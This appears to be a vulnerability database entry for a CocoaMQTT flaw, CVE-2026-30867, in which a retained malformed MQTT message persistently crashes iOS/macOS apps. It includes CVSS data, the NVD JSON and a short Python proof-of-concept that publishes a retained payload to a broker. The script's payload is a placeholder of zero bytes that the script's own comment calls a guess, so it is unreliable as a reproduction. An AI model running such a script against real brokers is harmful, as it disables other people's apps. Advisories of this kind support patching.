Security Vulnerability Report
中文
CVE-2026-30867 CVSS 5.7 MEDIUM

CVE-2026-30867

Published: 2026-04-02 14:16:28
Last Modified: 2026-04-07 18:04:01

Description

CocoaMQTT is a MQTT 5.0 client library for iOS and macOS written in Swift. Prior to version 2.2.2, a vulnerability exists in the packet parsing logic of CocoaMQTT that allows an attacker (or a compromised/malicious MQTT broker) to remotely crash the host iOS/macOS/tvOS application. If an attacker publishes the 4-byte malformed payload to a shared topic with the RETAIN flag set to true, the MQTT broker will persist the payload. Any time a vulnerable client connects and subscribes to that topic, the broker will automatically push the malformed packet. The app will instantly crash in the background before the user can even interact with it. This effectively "bricks" the mobile application (a persistent DoS) until the retained message is manually wiped from the broker database. This issue has been patched in version 2.2.2.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:emqx:cocoamqtt:*:*:*:*:*:swift:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
CocoaMQTT < 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import paho.mqtt.client as mqtt # Configuration BROKER_ADDRESS = "mqtt.example.com" PORT = 1883 TOPIC = "shared/topic" MALICIOUS_PAYLOAD = b"\x00\x00\x00\x00" # Example malformed 4-byte payload (Actual trigger bytes depend on specific parser flaw) def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # Publish the malformed payload with RETAIN flag set to True client.publish(TOPIC, MALICIOUS_PAYLOAD, retain=True) print("Malformed payload sent with retain flag.") client = mqtt.Client("AttackerClient") client.on_connect = on_connect client.connect(BROKER_ADDRESS, PORT, 60) client.loop_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30867", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:28.407", "lastModified": "2026-04-07T18:04:00.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CocoaMQTT is a MQTT 5.0 client library for iOS and macOS written in Swift. Prior to version 2.2.2, a vulnerability exists in the packet parsing logic of CocoaMQTT that allows an attacker (or a compromised/malicious MQTT broker) to remotely crash the host iOS/macOS/tvOS application. If an attacker publishes the 4-byte malformed payload to a shared topic with the RETAIN flag set to true, the MQTT broker will persist the payload. Any time a vulnerable client connects and subscribes to that topic, the broker will automatically push the malformed packet. The app will instantly crash in the background before the user can even interact with it. This effectively \"bricks\" the mobile application (a persistent DoS) until the retained message is manually wiped from the broker database. This issue has been patched in version 2.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:cocoamqtt:*:*:*:*:*:swift:*:*", "versionEndExcluding": "2.2.2", "matchCriteriaId": "CB8EC6A7-A8BA-4184-8097-74086252F0BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5415705-33E5-46D5-8E4D-9EBADC8C5705"}, {"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://github.com/emqx/CocoaMQTT/commit/010bca6f61b97d726252f61641d331a2bf82b338", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/emqx/CocoaMQTT/pull/659", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/emqx/CocoaMQTT/releases/tag/2.2.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/emqx/CocoaMQTT/security/advisories/GHSA-r3fr-7m74-q7g2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}